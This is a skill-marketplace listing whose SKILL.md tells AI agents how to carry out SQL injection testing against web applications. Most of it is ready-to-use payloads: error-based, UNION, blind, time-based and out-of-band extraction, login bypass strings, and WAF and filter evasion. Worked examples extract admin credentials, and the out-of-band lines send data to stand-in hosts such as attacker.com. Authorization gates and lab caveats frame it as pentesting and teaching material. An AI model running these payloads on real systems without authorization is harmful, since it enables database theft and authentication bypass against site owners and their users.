MCPInstall

sql-injection-testing

Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms.

Installs
653
Last 24h
—
Trending rank
—
Security
Not audited

Install

Works with every agent the skills CLI supports.

npx skills add https://github.com/sickn33/agentic-awesome-skills --skill sql-injection-testing
  1. 01

    Install

    Run the command in your project. The CLI asks which agents to install for.

  2. 02

    Describe the task

    Ask your agent for something this skill covers. It loads sql-injection-testing automatically when relevant.

  3. 03

    Review the result

    The agent follows the SKILL.md steps, scripts and references bundled with the skill.

SKILL.md

The instructions your agent reads when the skill is triggered.

⚠️ AUTHORIZED USE ONLY This skill is for educational purposes or authorized security assessments only. You must have explicit, written permission from the system owner before using this tool. Misuse of this tool is illegal and strictly prohibited.

Mandatory confirmation gate Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:

  1. Ask the user to state the exact target URL, IP, account, or resource.
  2. Ask the user to confirm written authorization and the permitted scope.
  3. Show the exact command(s) and explain their expected effect.
  4. Wait for explicit confirmation in the current conversation.

Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

SQL Injection Testing

Purpose

Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.

Inputs / Prerequisites

Required Access

  • Target web application URL with injectable parameters
  • Burp Suite or equivalent proxy tool for request manipulation
  • SQLMap installation for automated exploitation
  • Browser with developer tools enabled

Technical Requirements

  • Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
  • Knowledge of HTTP request/response cycle
  • Familiarity with database schemas and structures
  • Write permissions for testing reports

Legal Prerequisites

  • Written authorization for penetration testing
  • Defined scope including target URLs and parameters
  • Emergency contact procedures established
  • Data handling agreements in place

Outputs / Deliverables

Primary Outputs

  • SQL injection vulnerability report with severity ratings
  • Extracted database schemas and table structures
  • Authentication bypass proof-of-concept demonstrations
  • Remediation recommendations with code examples

Evidence Artifacts

  • Screenshots of successful injections
  • HTTP request/response logs
  • Database dumps (sanitized)
  • Payload documentation

Core Workflow

Phase 1: Detection and Reconnaissance

Identify Injectable Parameters

Locate user-controlled input fields that interact with database queries:

# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For

Test for Basic Vulnerability Indicators

Insert special characters to trigger error responses:

-- Single quote test
'

-- Double quote test
"

-- Comment sequences
--
#
/**/

-- Semicolon for query stacking
;

-- Parentheses
)

Monitor application responses for:

  • Database error messages revealing query structure
  • Unexpected application behavior changes
  • HTTP 500 Internal Server errors
  • Modified response content or length

Logic Testing Payloads

Verify boolean-based vulnerability presence:

-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- False condition tests  
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

Compare responses between true and false conditions to confirm injection capability.

Phase 2: Exploitation Techniques

UNION-Based Extraction

Combine attacker-controlled SELECT statements with original query:

-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs

-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

Error-Based Extraction

Force database errors that leak information:

-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--

Blind Boolean-Based Extraction

Infer data through application behavior changes:

-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

Time-Based Blind Extraction

Use database sleep functions for confirmation:

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

Out-of-Band (OOB) Extraction

Lab-only illustrations. Replace all callback domains with the explicitly authorized test receiver; do not contact the literal example domains or send real data. Network callbacks may require DB-specific privileges, platform support and egress. Exfiltrate data through external channels:

-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

Phase 3: Authentication Bypass

Login Form Exploitation

Craft payloads to bypass credential verification:

-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2

Query transformation example:

-- Original query
SELECT * FROM users WHERE username='input' AND password='input' -- security-allowlist: controlled SQL injection test example

-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example
-- Password check bypassed via comment

Phase 4: Filter Bypass Techniques

Character Encoding Bypass

These historical payloads are parser/filter-specific, not portable bypasses. Unicode lookalikes, null bytes and comments inserted inside keywords often do not parse as SQL. Validate only against a declared database/version in an authorized fixture. When special characters are blocked:

-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)

-- Double URL encoding
%2527 (single quote)

-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)

-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin' in hex

Whitespace Bypass

Substitute blocked spaces:

-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users

-- Alternative whitespace
SELECT%09username%09FROM%09users  -- Tab character
SELECT%0Ausername%0AFROM%0Ausers  -- Newline

Keyword Bypass

Evade blacklisted SQL keywords:

-- Case variation
SeLeCt, sElEcT, SELECT

-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION

-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION

-- Null byte injection
%00SELECT
SEL%00ECT

Quick Reference

Detection Test Sequence

1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay

Database Fingerprinting

-- MySQL
SELECT @@version
SELECT version()

-- MSSQL
SELECT @@version
SELECT @@servername

-- PostgreSQL
SELECT version()

-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version

Information Schema Queries

-- MySQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- MSSQL: use the intended schema in the current authorized database
SELECT table_name FROM information_schema.tables WHERE table_schema='dbo'

-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

Common Payloads Quick List

PurposePayload
Basic test' or "
Boolean trueOR 1=1--
Boolean falseAND 1=2--
Comment (MySQL)# or --
Comment (MSSQL)--
UNION probeUNION SELECT NULL--
Time delayAND SLEEP(5)--
Auth bypass' OR '1'='1

Constraints and Guardrails

Operational Boundaries

  • Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
  • Limit data extraction to proof-of-concept quantities
  • Avoid denial-of-service through resource-intensive queries
  • Stop immediately upon detecting production database with real user data

Technical Limitations

  • WAF/IPS may block common payloads requiring evasion techniques
  • Parameterized queries prevent standard injection
  • Some blind injection requires extensive requests (rate limiting concerns)
  • Second-order injection requires understanding of data flow

Legal and Ethical Requirements

  • Written scope agreement must exist before testing
  • Document all extracted data and handle per data protection requirements
  • Report critical vulnerabilities immediately through agreed channels
  • Never access data beyond scope requirements

Examples

Example 1: E-commerce Product Page SQLi

Scenario: Testing product display page with ID parameter

Initial Request:

GET /product.php?id=5 HTTP/1.1

Detection Test:

GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near ''' 

Column Enumeration:

GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)

Data Extraction:

GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials

Example 2: Blind Time-Based Extraction

Scenario: No visible output, testing for blind injection

Confirm Vulnerability:

id=5' AND SLEEP(5)-- 
-- A delay is an indicator only; compare bounded repeated true/false controls
-- against baseline latency before attributing it to SQL execution.

Extract Database Name Length:

id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- A reproducible controlled delay may support this hypothesis; one sample does not confirm it.

Extract Characters:

id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'

Example 3: Login Bypass

Target: Admin login form

Standard Login Query:

SELECT * FROM users WHERE username='[input]' AND password='[input]' -- security-allowlist: controlled SQL injection test example

Injection Payload:

Username: administrator'--
Password: anything

Resulting Query:

SELECT * FROM users WHERE username='administrator'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example

Result: Password check bypassed, authenticated as administrator.

Troubleshooting

No Error Messages Displayed

  • Application uses generic error handling
  • Switch to blind injection techniques (boolean or time-based)
  • Monitor response length differences instead of content

UNION Injection Fails

  • Column count may be incorrect → Test with ORDER BY
  • Data types may mismatch → Use NULL for all columns first
  • Results may not display → Find injectable column positions

WAF Blocking Requests

  • Use encoding techniques (URL, hex, unicode)
  • Insert inline comments within keywords
  • Try alternative syntax for same operations
  • Fragment payload across multiple parameters

Payload Not Executing

  • Verify correct comment syntax for database type
  • Check if application uses parameterized queries
  • Confirm input reaches SQL query (not filtered client-side)
  • Test different injection points (headers, cookies)

Time-Based Injection Inconsistent

  • Network latency may cause false positives
  • Use a bounded low-impact test window and repeated controls; do not increase delays without load/availability authorization
  • Run multiple tests to confirm pattern
  • Consider server-side caching effects

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

FAQ

What does the sql-injection-testing skill do?

Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms.

How do I install sql-injection-testing?

Run npx skills add https://github.com/sickn33/agentic-awesome-skills --skill sql-injection-testing in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/sql-injection-testing/ (personal) or .claude/skills/sql-injection-testing/ (project).

Which AI agents can use sql-injection-testing?

Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.

Is sql-injection-testing safe to install?

No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.

Who maintains sql-injection-testing?

It is published by sickn33 in sickn33/agentic-awesome-skills. It has 653 recorded installs.

More from sickn33/agentic-awesome-skills

View all →

docker-expert

sickn33/agentic-awesome-skills

You are an advanced Docker containerization expert with comprehensive, practical knowledge of container optimization, security hardening, multi-stage builds, orchestration patterns, and production deployment strategies based on current industry best practices.

DevOps & Cloud27.3K installs

nodejs-best-practices

sickn33/agentic-awesome-skills

Node.js development principles and decision-making. Framework selection, async patterns, security, and architecture. Teaches thinking, not copying.

Backend & APIs13.8K installs

typescript-expert

sickn33/agentic-awesome-skills

TypeScript and JavaScript expert with deep knowledge of type-level programming, performance optimization, monorepo management, migration strategies, and modern tooling.

clean-code

sickn33/agentic-awesome-skills

This skill embodies the principles of "Clean Code" by Robert C. Martin (Uncle Bob). Use it to transform "code that works" into "code that is clean."

api-security-best-practices

sickn33/agentic-awesome-skills

Implement secure API design patterns including authentication, authorization, input validation, rate limiting, and protection against common API vulnerabilities

Backend & APIs8.9K installs

nextjs-best-practices

sickn33/agentic-awesome-skills

Next.js App Router principles. Server Components, data fetching, routing patterns.

Frontend & Design7.4K installs

Popular security skills

View category →

azure-compliance

microsoft/azure-skills

Run Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: compliance scan, security audit, BEFORE running azqr (compliance cli tool), Azure best practices, Key Vault expiration check, expired certificates, expiring secrets, orphaned resources, compliance assessment.

OfficialSecurity567K installs

minimal-run-and-audit

lllllllama/rigorpilot-skills

Rigor Run skill for README-first deep learning repo reproduction. Use when the task is specifically to capture or normalize evidence from the selected smoke test or documented inference or evaluation command and write standardized reprooutputs/ files, including patch notes when repository files changed. Do not use for training execution, initial repo intake, generic environment setup, paper lookup, target selection, hidden scientific-meaning changes, or end-to-end orchestration by itself.

Security477.4K installs

seo-audit

coreyhaines31/marketingskills

When the user wants to audit, review, or diagnose SEO issues on their site. Also use when the user mentions "SEO audit," "technical SEO," "why am I not ranking," "SEO issues," "on-page SEO," "meta tags review," "SEO health check," "my traffic dropped," "lost rankings," "not showing up in Google," "site isn't ranking," "Google update hit me," "page speed," "core web vitals," "crawl errors," "indexing issues," "stuck on page 2," "striking distance keywords," "title tag rewrite," "low CTR," "local SEO," "Google Business Profile," or "map pack." Use this even if the user just says something vague like "my SEO is bad" or "help with SEO" — start with an audit. For building pages at scale to target keywords, see programmatic-seo. For adding structured data, see schema. For AI search optimization, see ai-seo.

Security238.7K installs

firebase-security-rules-auditor

firebase/agent-skills

Audits Firebase (Firestore, Cloud Storage) security rules for vulnerabilities, privilege escalation, role bypasses, create vs update inconsistencies, resource exhaustion, type safety, size limits, and hasOnly ownership checks. Use when auditing/reviewing rules, running red-team rule assessments, or scoring against auditor checklists. Don't use for Firebase CLI (login, deploy), Auth, Crashlytics, Remote Config, or database queries.

OfficialSecurity139.1K installs

audit

pbakaus/impeccable

Run technical quality checks across accessibility, performance, theming, responsive design, and anti-patterns. Generates a scored report with P0-P3 severity ratings and actionable plan. Use when the user wants an accessibility check, performance audit, or technical quality review.

Security81.9K installs

competitors

coreyhaines31/marketingskills

When the user wants to create competitor comparison or alternative pages for SEO and buyer-facing use. Also use when the user mentions 'alternative page,' 'vs page,' 'competitor comparison,' 'comparison page,' '[Product] vs [Product],' '[Product] alternative,' 'competitive landing pages,' 'how do we compare to X,' 'competitor teardown,' 'audit our competitor pages,' 'are our comparison pages out of date,' or 'competitive asset audit.' Use this for any content that positions your product against competitors. Covers four formats: singular alternative, plural alternatives, you vs competitor, and competitor vs competitor. For auditing existing claims (not researching competitors from scratch, which is competitor-profiling; not technical SEO on these pages, which is seo-audit), use the asset audit here. For internal battle cards and sales-specific competitor docs, see sales-enablement.

Security79.3K installs